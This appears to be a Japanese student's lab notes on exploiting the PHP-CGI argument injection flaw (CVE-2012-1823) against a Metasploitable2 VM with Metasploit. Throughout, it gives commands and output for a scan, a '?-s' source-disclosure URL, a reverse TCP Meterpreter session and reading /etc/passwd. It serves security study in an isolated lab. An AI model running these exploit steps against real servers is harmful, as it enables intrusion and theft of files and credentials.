Metasploit(PHP-CGI インジェクション)

Metasploit コンソールの起動

root@kali:~# service postgresql restart
root@kali:~# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization
root@kali:~# msfconsole 

_______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|

       =[ metasploit v5.0.43-dev                          ]
+ -- --=[ 1917 exploits - 1074 auxiliary - 330 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 4 evasion                                       ]

msf5 >

HTTP サービス(port: 80)が動作しているか確認する。

msf5 > nmap -sV -p 80 192.168.56.105
[*] exec: nmap -sV -p 80 192.168.56.105

Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-07 00:23 JST
Nmap scan report for 192.168.56.105
Host is up (0.0013s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.87 seconds

Apache httpd 2.2.8 が実行されている。

また、以前nikto」を実行したとき、PHP 5.2.4 が使われていた。

nikto - 授業のメモ

+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
   ( ↑ PHP/5.2.4 が使われている)

JVNDB-2012-002235 - JVN iPedia - 脆弱性対策情報データベース

PHP-CGI の query string の処理に脆弱性
遠隔の第三者によって、php スクリプトの内容を取得されたり、サービス運用妨害 (DoS) 攻撃を受けたり、ウェブサーバの権限で任意のコードを実行されたりする可能性があります。

実際にソースコードが取得できるか試してみる。

Kali Linux から Metasploitable2 に接続して、phpMyAdmin のページへ移動する。
f:id:hirose-test:20190907003752j:plain

アドレスバーに「?-s」を付けて読み込む

f:id:hirose-test:20190907020446j:plain

ソースコードが表示される

f:id:hirose-test:20190907020601j:plain

https://www.php.net/manual/ja/features.commandline.options.php

Metasploit を使用してターゲットサイトに侵入できるか検証する。

PHP-CGI のエクスプロイトが存在するか検索する。

msf5 > search php_cgi

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/multi/http/php_cgi_arg_injection  2012-05-03       excellent  Yes    PHP CGI Argument Injection

エクスプロイトの詳細を見る。

msf5 > info exploit/multi/http/php_cgi_arg_injection

       Name: PHP CGI Argument Injection
     Module: exploit/multi/http/php_cgi_arg_injection
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-03

Provided by:
  egypt 
  hdm 
  jjarmoc
  kingcope
  juan vazquez 

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  PLESK        false            yes       Exploit Plesk
  Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                        yes       The target address range or CIDR identifier
  RPORT        80               yes       The target port (TCP)
  SSL          false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI                     no        The URI to request (must be a CGI-handled PHP script)
  URIENCODING  0                yes       Level of URI URIENCODING and padding (0 for minimum)
  VHOST                         no        HTTP server virtual host

Payload information:
  Space: 262144

Description:
  When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable 
  to an argument injection vulnerability. This module takes advantage 
  of the -d flag to set php.ini directives to achieve code execution. 
  From the advisory: "if there is NO unescaped '=' in the query 
  string, the string is split on '+' (encoded space) characters, 
  urldecoded, passed to a function that escapes shell metacharacters 
  (the "encoded in a system-defined manner" from the RFC) and then 
  passes them to the CGI binary." This module can also be used to 
  exploit the plesk 0day disclosed by kingcope and exploited in the 
  wild on June 2013.

References:
  https://cvedetails.com/cve/CVE-2012-1823/
  OSVDB (81633)
  OSVDB (93979)
  https://www.exploit-db.com/exploits/25986
  http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
  http://kb.parallels.com/en/116241

見つかったエクスプロイトを使用し、ターゲットをセットする。

msf5 > use exploit/multi/http/php_cgi_arg_injection
msf5 exploit(multi/http/php_cgi_arg_injection) > set RHOST 192.168.56.105
RHOST => 192.168.56.105

ペイロードを表示する。

msf5 exploit(multi/http/php_cgi_arg_injection) > show payloads

Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   0   generic/custom                                       normal  No     Custom Payload
   1   generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   2   generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   3   multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Mulitple Architectures)
   4   multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Mulitple Architectures)
   5   php/bind_perl                                        normal  No     PHP Command Shell, Bind TCP (via Perl)
   6   php/bind_perl_ipv6                                   normal  No     PHP Command Shell, Bind TCP (via perl) IPv6
   7   php/bind_php                                         normal  No     PHP Command Shell, Bind TCP (via PHP)
   8   php/bind_php_ipv6                                    normal  No     PHP Command Shell, Bind TCP (via php) IPv6
   9   php/download_exec                                    normal  No     PHP Executable Download and Execute
   10  php/exec                                             normal  No     PHP Execute Command 
   11  php/meterpreter/bind_tcp                             normal  No     PHP Meterpreter, Bind TCP Stager
   12  php/meterpreter/bind_tcp_ipv6                        normal  No     PHP Meterpreter, Bind TCP Stager IPv6
   13  php/meterpreter/bind_tcp_ipv6_uuid                   normal  No     PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   14  php/meterpreter/bind_tcp_uuid                        normal  No     PHP Meterpreter, Bind TCP Stager with UUID Support
   15  php/meterpreter/reverse_tcp                          normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   16  php/meterpreter/reverse_tcp_uuid                     normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   17  php/meterpreter_reverse_tcp                          normal  No     PHP Meterpreter, Reverse TCP Inline
   18  php/reverse_perl                                     normal  No     PHP Command, Double Reverse TCP Connection (via Perl)
   19  php/reverse_php                                      normal  No     PHP Command Shell, Reverse TCP (via PHP)

15 php/meterpreter/reverse_tcp を使用することにする。

msf5 exploit(multi/http/php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp

ローカルホストとして Kali Linux を指定する。

root@kali:~# ifconfig eth0
eth0: flags=4163  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
~(後略)~
msf5 exploit(multi/http/php_cgi_arg_injection) > set LHOST 10.0.2.15
LHOST => 10.0.2.15(← ↑ 間違い。
Metasploitable2 とセグメントを合わせる。VirtualBox で Kali に HostOnlyアダプターを追加する)
  参考:『3. VirtualBOX に CentOS7を登録する(仮想マシンの初期設定) - 授業のメモ』
msf5 exploit(multi/http/php_cgi_arg_injection) > set LHOST 192.168.56.106
LHOST => 192.168.56.106(← ↑ 正解)

エクスプロイトを実行する。

msf5 exploit(multi/http/php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444 
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/php_cgi_arg_injection) > ping 192.168.56.105
[*] exec: ping 192.168.56.105

PING 192.168.56.105 (192.168.56.105) 56(84) bytes of data.
64 bytes from 192.168.56.105: icmp_seq=1 ttl=63 time=0.634 ms
64 bytes from 192.168.56.105: icmp_seq=2 ttl=63 time=1.63 ms
64 bytes from 192.168.56.105: icmp_seq=3 ttl=63 time=0.882 ms
^C
--- 192.168.56.105 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2015ms
rtt min/avg/max/mdev = 0.634/1.049/1.631/0.423 ms
Interrupt: use the 'exit' command to quit

エラーが出る。なぜだろう。(Kali と Metasploitable2 のセグメントが違ったから)

msf5 exploit(multi/http/php_cgi_arg_injection) > set LHOST 192.168.56.106
LHOST => 192.168.56.106

修正後(VirtualBox で Kali に HostOnlyアダプターを追加する
参考:『3. VirtualBOX に CentOS7を登録する(仮想マシンの初期設定) - 授業のメモ
再度エクスプロイトを実行する。

msf5 exploit(multi/http/php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.56.106:4444 
[*] Sending stage (38247 bytes) to 192.168.56.105
[*] Meterpreter session 2 opened (192.168.56.106:4444 -> 192.168.56.105:42272) at 2019-09-07 01:49:38 +0900

meterpreter >
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux

Metasploitable2 に侵入できていることが分かる。

Metasploitable2 のソースコードを表示できる。

meterpreter > cat index.php
~(略)~

パスワードファイルも表示することができる。

meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

終了する。

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.56.105 - Meterpreter session 2 closed.  Reason: User exit
msf5 exploit(multi/http/php_cgi_arg_injection) > back
msf5 > quit
root@kali:~# 
/* -----codeの行番号----- */